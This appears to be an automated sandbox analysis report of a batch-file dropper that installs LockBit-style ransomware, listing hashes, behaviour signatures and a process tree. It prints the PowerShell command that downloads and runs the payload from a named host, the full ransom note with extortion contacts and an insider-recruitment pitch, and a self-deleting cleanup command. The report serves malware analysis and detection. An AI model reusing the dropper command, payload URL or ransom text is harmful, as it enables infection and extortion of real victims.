Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-09-2024 14:27

General

  • Target

    Dropper.bat

  • Size

    470B

  • MD5

    8073ff57f855d5cd51346f011933d9fb

  • SHA1

    d24fc282fb660945b87e1c41860a031f6e7ec9f6

  • SHA256

    6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71

  • SHA512

    9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://master-repogen.vercel.app/file/server.scr

Extracted

Path

C:\wlJ8FiR2h.README.txt

Family

lockbit

Ransom Note
~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom DeathGrip Ransomware Attack | t.me/DeathGripRansomware This computer is attacked by russian ransomware community of professional black hat hackers. Your every single documents / details is now under observation of those hackers. If you want to get it back then you have to pay 1000$ for it. This Attack Is Done By Team RansomVerse You Can Find Us On Telegram @DeathGripRansomware Contact The Owner For The Decrypter Of This Ransomware #DeathGripMalware >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on Telegram t.me/DeathGripRansomware >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz >>>> Your personal DECRYPTION ID: B7568014A48684D6D525F3F3722638C4 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using on Telegram messenger without registration and text t.me/DeathGripRansomware Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
URLs

http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion

http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion

http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion

http://lockbitsupp.uz

http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion

http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion

http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion

http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion

http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion

http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion

http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion

http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion

http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion

Signatures

  • Lockbit

    Ransomware family with multiple variants released since late 2019.

  • Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
  • Renames multiple (615) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops desktop.ini file(s) 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Control Panel 2 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Dropper.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3704
    • C:\Users\Admin\Downloads\server.scr
      "C:\Users\Admin\Downloads\server.scr"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Sets desktop wallpaper using registry
      • System Location Discovery: System Language Discovery
      • Modifies Control Panel
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1588
      • C:\Windows\splwow64.exe
        C:\Windows\splwow64.exe 12288
        3⤵
        • Drops file in System32 directory
        PID:4664
      • C:\ProgramData\F9D2.tmp
        "C:\ProgramData\F9D2.tmp"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1316
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\F9D2.tmp >> NUL
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4124
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
    1⤵
      PID:1000
    • C:\Windows\system32\printfilterpipelinesvc.exe
      C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
      1⤵
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
        /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{7A0354AD-2F9E-4FBB-97B9-AE16AB5EE0BE}.xps" 133699336347920000
        2⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious use of SetWindowsHookEx
        PID:4612

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\$Recycle.Bin\S-1-5-21-1194130065-3471212556-1656947724-1000\YYYYYYYYYYY

      Filesize

      129B

      MD5

      86e463cf8d1fbf67670299d622476912

      SHA1

      dc16e4b35f189ab32b5d4b98125a72a0a1175490

      SHA256

      7465dd7da9f59c5b8e9857a85782b5b15b2f0520fce02a14727fe89791eb7116

      SHA512

      f3dc7dc150c79f53ffc1bead0ca16cd074a66aad0e6526277a90d76c5abd6420aeb002e8fb611131fcc69e78cc944d5ae74316c91951d5c8636bf35bb8831437

    • C:\ProgramData\F9D2.tmp

      Filesize

      14KB

      MD5

      294e9f64cb1642dd89229fff0592856b

      SHA1

      97b148c27f3da29ba7b18d6aee8a0db9102f47c9

      SHA256

      917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2

      SHA512

      b87d531890bf1577b9b4af41dddb2cdbbfa164cf197bd5987df3a3075983645a3acba443e289b7bfd338422978a104f55298fbfe346872de0895bde44adc89cf

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jtxsauzc.fvm.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\{60DD8DC4-1EF3-48B6-8A39-34F7CDFEE95D}

      Filesize

      4KB

      MD5

      30b9bbcb51022db54c231f115aef5ab0

      SHA1

      0493cde83fba6d42316e96fc21c9cf03dc670808

      SHA256

      d60dec18ee86c4208d1516024cb937f3476f6e887bd9b7a72eaae3ab1eaf5741

      SHA512

      f5267a13b1a3e8268f9dbbf470b3d9314bbef1b5b2d0174df53469d7b95a8f889da5654b3a877471dabaf002c133e586a39bef28c6791b63e94a2e9fc91382c1

    • C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2

      Filesize

      4KB

      MD5

      466dc1b14c3766b17f3225a65c5fc431

      SHA1

      a6e60c392f5304f02101d5ca9e47f053c2aca4a2

      SHA256

      d00ffbc42aea091b0f63c73472f5fc277914ef64ba1cdc716a5b80471d156b23

      SHA512

      448fcf64e0b2065d5c38365bff761b0a8af3d70bd9d6a21aab39dc1a7009074bfc4c950f9a01b07c9077a62e6acf0d0df24dca1ea489adb9ead2525b108b6422

    • C:\Users\Admin\Downloads\EEEEEEEEEE

      Filesize

      150KB

      MD5

      dc8061f4a913269fe17c32086676a006

      SHA1

      b44bd9f8f5ba5c791ec202bdc56c2c9e0af39412

      SHA256

      b997264e045b877ef09a14d32ed954cf8ee1777a25c3cadf23652cfc7047cc06

      SHA512

      95dec628f52e26921119e360df2a69ee1d02316e2f7a67821121f0d1e41f05fef3075d1f0278ce7d90e27bb65d75fbef2a571ee03a4a52e40e0177efce918952

    • C:\Users\Admin\Downloads\server.scr

      Filesize

      150KB

      MD5

      7e503c206e57f0295da017914a957d04

      SHA1

      96c375b9c57292db73c7ef2f2df16cf7be1604bb

      SHA256

      274844568a6a9ce334d71efeac21f528d7b54b2cd4377c978cc1270c6ad986c4

      SHA512

      cd4889ae107c54df854042e030eb431664d4db9d6dc908d1f1910ca49b89d247222f9d19440fcc2d9a120c95b56cd694750072ab9486eea961b8c33391344c1c

    • C:\wlJ8FiR2h.README.txt

      Filesize

      3KB

      MD5

      b9674de0868a93e9121bdb1d02d80130

      SHA1

      79d692fd03d3110a4358e2cc7442af9517489f3f

      SHA256

      9268d24e96639cf4c0e8d74f9769092b415015692ea528820faaded6fc5b052c

      SHA512

      b3264ad33eddedb2c18da883e2345247c762adc8a604991fce931cba06b86c361d23fa121e79d6c69948a2d5b9c1613139f401b971360d9d684abb5a61543c02

    • F:\$RECYCLE.BIN\S-1-5-21-1194130065-3471212556-1656947724-1000\DDDDDDDDDDD

      Filesize

      129B

      MD5

      7f0489e4f320dd8666cc4c72acf32b9a

      SHA1

      3a069581a88d4efa62d30627aaea655fa0c446eb

      SHA256

      178cd69d6d0914c5a18017d4b77d57e25e4e78af9efa212ed3fc0577ad81e660

      SHA512

      b12a1b2e6123e5241daafc7f0075326333900b2ef472793808e2411d398794604d515600e0a5424932b59d416cdf646012f7fd532ace32a560b079bbf887f765

    • memory/1588-21-0x0000000002730000-0x0000000002740000-memory.dmp

      Filesize

      64KB

    • memory/1588-20-0x0000000002730000-0x0000000002740000-memory.dmp

      Filesize

      64KB

    • memory/1588-2976-0x0000000002730000-0x0000000002740000-memory.dmp

      Filesize

      64KB

    • memory/1588-2977-0x0000000002730000-0x0000000002740000-memory.dmp

      Filesize

      64KB

    • memory/1588-22-0x0000000002730000-0x0000000002740000-memory.dmp

      Filesize

      64KB

    • memory/3704-12-0x00007FFD531C0000-0x00007FFD53C81000-memory.dmp

      Filesize

      10.8MB

    • memory/3704-0-0x00007FFD531C3000-0x00007FFD531C5000-memory.dmp

      Filesize

      8KB

    • memory/3704-6-0x00000207C15F0000-0x00000207C1612000-memory.dmp

      Filesize

      136KB

    • memory/3704-11-0x00007FFD531C0000-0x00007FFD53C81000-memory.dmp

      Filesize

      10.8MB

    • memory/3704-16-0x00007FFD531C0000-0x00007FFD53C81000-memory.dmp

      Filesize

      10.8MB

    • memory/4612-2993-0x00007FFD31310000-0x00007FFD31320000-memory.dmp

      Filesize

      64KB

    • memory/4612-2996-0x00007FFD31310000-0x00007FFD31320000-memory.dmp

      Filesize

      64KB

    • memory/4612-2997-0x00007FFD31310000-0x00007FFD31320000-memory.dmp

      Filesize

      64KB

    • memory/4612-3026-0x00007FFD2EBF0000-0x00007FFD2EC00000-memory.dmp

      Filesize

      64KB

    • memory/4612-3027-0x00007FFD2EBF0000-0x00007FFD2EC00000-memory.dmp

      Filesize

      64KB

    • memory/4612-2992-0x00007FFD31310000-0x00007FFD31320000-memory.dmp

      Filesize

      64KB

    • memory/4612-2994-0x00007FFD31310000-0x00007FFD31320000-memory.dmp

      Filesize

      64KB